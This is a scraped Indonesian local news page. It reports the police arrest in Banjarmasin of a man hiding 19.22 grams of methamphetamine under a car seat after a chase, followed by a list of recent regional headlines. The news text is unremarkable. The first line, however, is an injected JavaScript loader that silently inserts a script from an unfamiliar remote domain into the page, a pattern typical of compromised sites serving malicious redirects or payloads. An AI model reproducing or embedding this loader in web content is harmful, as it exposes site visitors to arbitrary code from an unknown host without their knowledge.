(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sempat Kejar-kejaran dengan Polisi, Sabu 19,22 Gram di Bawah Jok Mobil Ayla


BANJARMASIN, Tiga paket besar nakoba jenis sabu seberat 19,22 gram berhasil digagaledarkan anggota Satuan Reserse Narkoba Polresta Banjarmasin, Minggu (31/3/2019). Penangkapan berawal dari penggeledah sebuah mobil Daihatsu Ayla warna hitam, di dalam mobil ditemukan satu plastik kresek hitam yang berisi tiga paket besar sabu-sabu.

Awalnya polisi mendapatkan informasi ada seseorang membawa narkotika jenis sabu menggunakan mobil Daihatsu Ayla di Jalan Veteran, kota Banjarmasin.

“Kami geledah mobil tersebut, ternyata di bawah jok mobil ditemukan barang bukti tiga paket sabu,” kata Kasat Resnarkoba Polresta Banjarmasin Kompol Herry Purwanto, Minggu (31/3/2019). Petugas melakukan penyelidikan, dengan membuntuti pelaku, setelah mengetahui dan sempat terjadi kejar-kejaran di jalan, akhirnya petugas dapat menghentikan mobil pelaku.

Mobil berhenti dan akhirnya pelaku ditangkap di Jalan Manarap Tengah, Komplek Griya Indah Lestari RT 06 Desa Manarap Tengah, Kecamatan Kertak Hanyar, Kabupaten Banjar.

Usai menghentikan mobol pelaku yang diketahui berinisial AR alias Fi’i (46) warga Veteran Gang Merpati, Kelurahan Melayu, Kecamatan Banjarmasin Tengah, petugas melakukan penggeledahan dan didapati plastik hitam berisi 3 paket sabu seberat 19,22 gram.

“Sabu itu disembunyikan Fi’i di bawah kursi jok mobil sebelah kiri,” ucap perwira lulusan Akpol angkatan 2002 itu.

Herry -panggilan akrab Kasat Resnarkoba- menambahkan, penangkapan terhadap Fi’i dilakukan pada sekitar pukul 23.40 Wita.

Atas temuan barang bukti tiga paket besar sabu itu akhirnya pelaku digiring ke Polresta Banjarmasin menjalani pemeriksaan dan proses hukum. Fi’i pun ditetapkan sebagai tersangka dijerat dengan pasal 112 ayat (2) UU RI No 35 Tahun 2009 Tentang Narkotika dengan ancaman hukuman minimal lima tahun penjara.

“Kasus ini terus kami kembangkan untuk mengetahui jaringan tersangka dan asal usul sabu tersebut,” tandasnya. (mario)

Reporter: Mario
Editor: KK

Desy Arfianty

Recent Posts

WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah

KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More

36 menit ago

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

11 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

12 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

12 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

13 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

13 jam ago

This website uses cookies.